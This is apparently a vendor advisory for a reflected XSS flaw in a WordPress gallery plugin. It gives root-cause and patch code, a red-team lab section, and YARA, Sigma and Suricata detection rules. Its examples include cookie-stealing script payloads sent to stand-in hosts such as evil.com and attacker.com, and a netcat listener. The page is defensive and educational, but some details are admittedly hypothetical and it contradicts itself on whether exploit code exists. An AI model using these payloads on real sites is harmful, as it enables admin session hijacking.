CVE-2025-27004
Executive Summary
CVE-2025-27004 is a reflected Cross-Site Scripting (XSS) vulnerability in the Famous - Responsive Image And Video Grid Gallery WordPress plugin, developed by LambertGroup. The flaw exists in versions n/a through 1.4, where user-supplied input is improperly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated WordPress administrator or editor, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WordPress plugins.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via ZIP upload are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin's update mechanism should be monitored. The vendor (LambertGroup) has not released a patch, so users must rely on manual mitigation or removal.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., WordPress admin session).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., cookies, tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1) – Reflected XSS in a WordPress plugin can lead to admin account takeover if a privileged user is targeted.
Deep Dive & Mechanics
The vulnerability resides in the famous_grid_image_and_video_gallery plugin, specifically in how it handles URL parameters or POST data when rendering the gallery. The plugin fails to sanitize or escape user input before embedding it into the HTML response. An attacker can inject arbitrary JavaScript via a crafted query string (e.g., ?gallery_id=<script>alert(1)</script>). When the victim's browser renders the page, the script executes in the context of the WordPress site.
Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying esc_html(), esc_attr(), or wp_kses().
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?page_id=123&gallery_id=<script>document.location='https://evil.com/steal.php?c='+document.cookie</script> - Attacker sends the link via email, social media, or a forum.
- Victim (e.g., WordPress admin) clicks the link while authenticated.
- The plugin renders the gallery page, injecting the script.
- The script executes, stealing the victim's session cookies and sending them to the attacker.
- Attacker uses the cookies to hijack the admin session.
Vulnerable vs. Patched Code
Vulnerable Code (v1.4):
<?php
// In a template or shortcode handler
$gallery_id = $_GET['gallery_id'];
echo '<div class="famous-gallery" data-id="' . $gallery_id . '">';
?>
Patched Code (Hypothetical):
<?php
$gallery_id = isset($_GET['gallery_id']) ? sanitize_text_field($_GET['gallery_id']) : '';
echo '<div class="famous-gallery" data-id="' . esc_attr($gallery_id) . '">';
?>
The patched version uses sanitize_text_field() to strip malicious content and esc_attr() to safely output the value in an HTML attribute context.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- WordPress 6.x with Famous plugin v1.4 installed.
- Attacker machine with a web server to receive stolen cookies (e.g.,
python3 -m http.server 80). - Victim browser (Chrome/Firefox) logged in as admin.
Exploit Payload:
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?c=' + document.cookie;
</script>
Crafted URL:
http://victim-site.com/?page_id=123&gallery_id=<script>var img=new Image();img.src='http://attacker.com/steal.php?c='+document.cookie;</script>
Steps:
- Start a listener on attacker machine:
nc -lvnp 80or use a PHP script. - Send the crafted URL to the victim.
- Victim clicks the link while logged into WordPress.
- The script executes, sending cookies to the attacker.
- Attacker captures the cookie and uses it to impersonate the admin.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>tags in query parameters. - Use WAF rules to block reflected XSS patterns (e.g.,
(?i)<script). - Deploy Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable or remove the plugin until a patch is available.
- Apply a virtual patch via WAF: block URLs containing
gallery_id=with script-like content. - Educate users to avoid clicking suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
gallery_id=<script>or similar patterns. - Outbound connections to unknown IPs/domains from the WordPress server.
- HTTP requests with
- File IOCs:
- Modified WordPress core files (unlikely, but check).
- Suspicious entries in
wp-content/plugins/famous-grid-gallery/(e.g., backdoored files).
- Log IOCs:
- Web server logs showing
GET /?page_id=123&gallery_id=%3Cscript%3E.... - WordPress debug logs with unexpected output.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_27004_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Famous Grid Gallery plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-27004"
strings:
$xss1 = /gallery_id=.*<script/i
$xss2 = /gallery_id=.*%3Cscript/i
$xss3 = /gallery_id=.*onerror/i
$xss4 = /gallery_id=.*onload/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Famous Grid Gallery Plugin
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in gallery_id parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: 'gallery_id='
c-uri|re: '(?i)<script|%3Cscript|onerror|onload|alert\(|prompt\(|confirm\('
condition: selection
falsepositives:
- Legitimate use of script-like strings in gallery IDs (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-27004 Reflected XSS in Famous Grid Gallery"; flow:to_server,established; content:"gallery_id="; http_uri; pcre:"/(?i)<script|%3Cscript|onerror|onload|alert\(|prompt\(|confirm\(/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the plugin if not critical. Remove it from all WordPress installations.
- Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing
gallery_id=with script-like patterns. - Code Fix: Apply the patched code snippet (see Vulnerable vs. Patched Code) if you have developer access.
- User Education: Train users to avoid clicking untrusted links, especially when logged into WordPress.
- Monitoring: Enable logging and alerting for XSS patterns in web server logs.
- Update: Monitor the plugin's official page for a security update. If none appears within 30 days, consider replacing the plugin with an alternative.
Valters IT – Securing digital ecosystems with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.